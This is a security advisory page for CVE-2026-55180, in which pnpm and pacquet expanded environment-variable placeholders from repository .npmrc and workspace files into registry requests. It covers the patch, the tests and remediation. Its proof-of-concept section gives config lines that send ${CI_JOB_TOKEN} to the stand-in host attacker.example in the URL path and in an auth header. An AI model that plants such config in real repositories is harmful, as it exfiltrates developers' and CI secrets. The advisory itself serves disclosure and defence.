CVE-2026-55180: pnpm: Repository config can expand victim environment secrets into registry requests before scripts run

Published Jun 25, 2026
·
Updated

<!-- maintainer-action:start --> Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

- Advisory: CAND-PNPM-122 / GHSA-3qhv-2rgh-x77r - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: security/ghsa-batch-2026-06-09 - Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22 - Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec - Maintainer priority: start-here - Component: pnpm config/env replacement and registry auth - Patch area: project .npmrc env placeholders are not expanded into registry/auth destinations - Affected packages: npm:pnpm, npm:@pnpm/config.reader, rust:pacquet - CWE IDs: CWE-201, CWE-200, CWE-522 - Conservative CVSS: 6.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.

Expected Patched Behavior

Project .npmrc environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header.

Files And Tests To Review

- config/reader/src/loadNpmrcFiles.ts - config/reader/src/getOptionsFromRootManifest.ts - config/reader/test/index.ts - config/reader/test/getOptionsFromRootManifest.test.ts - pacquet/crates/config/src/npmrcauth.rs - pacquet/crates/config/src/npmrcauth/tests.rs - pacquet/crates/config/src/workspaceyaml.rs - pacquet/crates/config/src/workspaceyaml/tests.rs - .changeset/sharp-registry-env-placeholders.md

Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

bash ./nodemodules/.bin/tsgo --build config/reader/tsconfig.json NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .undefined. fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./nodemodules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinscopedregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinurlscopedkeys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinauthvalues --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trustediniexpandsenvplaceholdersinregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignoresenvvarsinsideworkspaceregistryvalues --lib git diff --check cargo fmt --check

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-122-patched-result.json. <!-- maintainer-action:end -->

CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run

Advisory Details

Summary

pnpm and pacquet expanded ${ENVVAR} placeholders from repository-controlled .npmrc and pnpm-workspace.yaml into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run.

Details

The vulnerable TypeScript pnpm path was:

- config/reader/src/loadNpmrcFiles.ts loaded project .npmrc and substituted environment placeholders in keys and values. - config/reader/src/getOptionsFromRootManifest.ts substituted environment placeholders inside workspace registry, registries, and namedRegistries settings. - config/reader/src/index.ts merged those expanded registry/auth values into pnpmConfig.registries, pnpmConfig.authConfig, and pnpmConfig.configByUri. - resolving/npm-resolver/src/fetch.ts built metadata request URLs from the selected registry. - network/fetch/src/fetchFromRegistry.ts dispatched the request and attached matching auth headers before install lifecycle scripts could run.

The pacquet parity path was:

- pacquet/crates/config/src/npmrcauth.rs expanded project .npmrc placeholders while parsing registry URLs and auth values. - pacquet/crates/config/src/workspaceyaml.rs expanded workspace registry placeholders. - pacquet/crates/resolving-npm-resolver/src/fetchfullmetadata.rs used the configured registry URL and AuthHeaders for metadata fetches.

PoC

Repository .npmrc URL-path exfiltration:

ini registry=https://attacker.example/${CIJOBTOKEN}/

Repository .npmrc auth-header exfiltration:

ini registry=https://attacker.example/ //attacker.example/:authToken=${CIJOBTOKEN}

Repository pnpm-workspace.yaml URL-path exfiltration:

yaml registries: default: https://attacker.example/${CIJOBTOKEN}/ namedRegistries: work: https://attacker.example/${CIJOBTOKEN}/npm/

Exploit method:

1. The victim checks out the repository and runs a pnpm or pacquet dependency-management command with CIJOBTOKEN or another sensitive environment variable present. 2. Before the patch, repository config expanded the placeholder to the victim secret. 3. The resolver used the expanded registry or matching auth entry to construct a metadata request. 4. The victim sent a request such as https://attacker.example/<secret>/<package> or Authorization: Bearer <secret> to the attacker-controlled endpoint.

Validation PoC:

The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values.

Impact

A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names.

Affected Products

Ecosystem: npm

Package name: pnpm, @pnpm/config.reader; pacquet Rust port

Affected versions: current main before this patch, when project .npmrc or pnpm-workspace.yaml contains environment placeholders in registry request destinations or project .npmrc contains environment placeholders in registry credential values.

Patched versions: pending release containing this patch.

Severity

Severity before patch: High

Vector string before patch: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Score before patch: 7.4

Severity after patch: None

Vector string after patch: not vulnerable after patch

Score after patch: 0.0

Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands.

Weaknesses

CWE-201: Insertion of Sensitive Information Into Sent Data

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

CWE-522: Insufficiently Protected Credentials

Patch

The patch makes environment expansion trust-aware for registry requests:

- Project .npmrc no longer expands ${...} in registry, @scope:registry, proxy URL values, URL-scoped keys such as //host/${SECRET}/:authToken, or registry credential values such as //host/:authToken=${SECRET} and authToken=${SECRET}. - User .npmrc, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration. - pnpm-workspace.yaml no longer expands ${...} in registry, registries, or namedRegistries URL values. - Trusted user-level auth values such as //registry.npmjs.org/:authToken=${NODEAUTHTOKEN} still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the .npmrc is supplied as user config. - Pacquet mirrors the same boundary with fromprojectini() for project .npmrc and workspace registry filtering.

Changed files:

- config/reader/src/loadNpmrcFiles.ts - config/reader/src/getOptionsFromRootManifest.ts - config/reader/test/index.ts - config/reader/test/getOptionsFromRootManifest.test.ts - pacquet/crates/config/src/npmrcauth.rs - pacquet/crates/config/src/npmrcauth/tests.rs - pacquet/crates/config/src/workspaceyaml.rs - pacquet/crates/config/src/workspaceyaml/tests.rs

Changeset:

- .changeset/sharp-registry-env-placeholders.md

Pacquet parity:

Ported in the same patch. Pacquet dependency-management commands now parse project .npmrc with request-destination and credential-value env expansion disabled, and drop workspace registry values containing ${...} placeholders.

Verification

Post-patch validation:

The PoC ran:

bash ./nodemodules/.bin/tsgo --build config/reader/tsconfig.json NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .undefined. fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./nodemodules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinscopedregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinurlscopedkeys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinauthvalues --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trustediniexpandsenvplaceholdersinregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignoresenvvarsinsideworkspaceregistryvalues --lib git diff --check

Results:

- PoC pre-patch model showed cand122-ci-job-token in both a request URL and a bearer auth header. - TypeScript build for config.reader: passed. - Focused root-manifest tests: 8 passed, including workspace registry and named-registry placeholder denial. - Focused config-reader integration tests: 10 passed, covering project .npmrc default registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user .npmrc registry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial. - cargo fmt --check: passed. - Focused pacquet tests: 6 passed, covering project .npmrc registry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted .npmrc registry expansion, and workspace YAML denial. - git diff --check: passed.

CVSS Reassessment

The initial scan score used a repository-code-execution vector:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (8.8 High)

The PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Corrected vulnerable score: 7.4 High.

Final score after patch: 0.0.

Other sources

pnpm is a package manager. Prior to 10.34.2 and 11.5.3, pnpm and pacquet expanded ${ENVVAR} placeholders from repository-controlled .npmrc and pnpm-workspace.yaml into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run. This vulnerability is fixed in 10.34.2 and 11.5.3.

NVD

Affected Software

5 affected componentsFixes available
pnpm/pnpm>10.34.2<=11.5.3
npm/pnpm>=11.0.0<11.5.3
11.5.3
npm/pnpm<10.34.2
10.34.2
PNPM Pnpm Node.js<10.34.2
PNPM Pnpm Node.js>=11.0.0<11.5.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/pnpm to a version that resolves this vulnerability.

    Fixed in 11.5.3
  2. Upgrade

    Upgrade npm/pnpm to a version that resolves this vulnerability.

    Fixed in 10.34.2
  3. Upgrade

    Upgrade npm:pnpm to a version that resolves this vulnerability.

    Fixed in 10.34.2
  4. Upgrade

    Upgrade npm:pnpm to a version that resolves this vulnerability.

    Fixed in 11.5.3
  5. Upgrade

    Upgrade npm:@pnpm/config.reader to a version that resolves this vulnerability.

    Fixed in 10.34.2
  6. Upgrade

    Upgrade npm:@pnpm/config.reader to a version that resolves this vulnerability.

    Fixed in 11.5.3
  7. Upgrade

    Upgrade rust:pacquet to a version that resolves this vulnerability.

    Fixed in 10.34.2
  8. Upgrade

    Upgrade rust:pacquet to a version that resolves this vulnerability.

    Fixed in 11.5.3
  9. Compensating control

    Ensure any sensitive registry destination/credential values in repository-controlled project `.npmrc` or `pnpm-workspace.yaml` do not rely on `${...}` env placeholders for registry URLs, scoped registry URLs, URL-scoped keys, proxy URL values, or registry credential values; only trusted user/global/auth.ini/CLI configuration should expand env placeholders.

  10. Operational

    If the affected pre-patch versions may have run in a malicious repo (where outbound registry request URLs/Authorization headers could have included expanded `${ENV_VAR}` secrets), rotate any exposed secrets (e.g., `CI_JOB_TOKEN`/npm/OIDC-related tokens) before rerunning installs.

Event History

Jun 25, 2026
CVE Published
via MITRE·05:00 PM
Data Sourced
via MITRE·05:00 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software
Jun 26, 2026
Advisory Published
via GitHub·11:12 PM
Data Sourced
via GitHub·11:12 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-55180?

The severity of CVE-2026-55180 is medium with a CVSS score of 6.5.

2

How do I fix CVE-2026-55180?

To fix CVE-2026-55180, upgrade pnpm to version 10.34.2 or later, or 11.5.3 or later.

3

What does CVE-2026-55180 exploit?

CVE-2026-55180 exploits the ability of a malicious repository to expand environment variables in registry requests before scripts run.

4

Who is affected by CVE-2026-55180?

Users of the pnpm package manager versions prior to 10.34.2 and 11.5.3 are affected by CVE-2026-55180.

5

What is the impact of CVE-2026-55180?

The impact of CVE-2026-55180 includes potential exposure of sensitive environment secrets in registry request contexts.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203